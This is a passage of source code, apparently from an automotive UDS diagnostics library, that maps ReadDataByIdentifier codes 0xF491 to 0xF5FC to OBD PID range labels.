UDS_RDBI.dataIdentifiers[0xf491] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf492] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf493] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf494] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf495] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf496] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf497] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf498] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf499] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49a] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49b] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49c] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49d] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49e] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf49f] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4a9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4aa] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ab] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ac] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ad] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ae] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4af] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4b9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ba] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4bb] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4bc] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4bd] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4be] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4bf] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4c9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ca] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4cb] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4cc] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4cd] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ce] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4cf] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4d9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4da] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4db] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4dc] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4dd] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4de] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4df] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4e9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ea] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4eb] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ec] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ed] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ee] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ef] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f0] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f1] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f2] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f3] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f4] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f5] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f6] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f7] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f8] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4f9] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4fa] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4fb] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4fc] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4fd] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4fe] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf4ff] = "OBDPids_F400 - F4FF" UDS_RDBI.dataIdentifiers[0xf500] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf501] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf502] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf503] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf504] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf505] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf506] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf507] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf508] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf509] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf50f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf510] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf511] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf512] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf513] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf514] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf515] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf516] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf517] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf518] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf519] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf51f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf520] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf521] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf522] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf523] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf524] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf525] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf526] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf527] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf528] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf529] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf52f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf530] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf531] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf532] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf533] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf534] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf535] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf536] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf537] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf538] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf539] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf53f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf540] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf541] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf542] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf543] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf544] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf545] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf546] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf547] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf548] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf549] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf54f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf550] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf551] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf552] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf553] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf554] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf555] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf556] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf557] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf558] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf559] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf55f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf560] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf561] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf562] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf563] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf564] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf565] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf566] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf567] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf568] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf569] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf56f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf570] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf571] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf572] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf573] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf574] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf575] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf576] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf577] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf578] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf579] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf57f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf580] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf581] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf582] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf583] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf584] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf585] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf586] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf587] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf588] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf589] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf590] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf591] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf592] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf593] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf594] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf595] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf596] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf597] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf598] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf599] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5aa] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ab] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ac] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ad] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ae] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5af] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ba] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5be] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bf] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ca] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ce] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cf] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5da] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5db] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5dc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5dd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5de] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5df] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ea] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5eb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ec] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ed] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ee] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ef] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fa] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fc] = "OBDPids_F500 - F5FF" 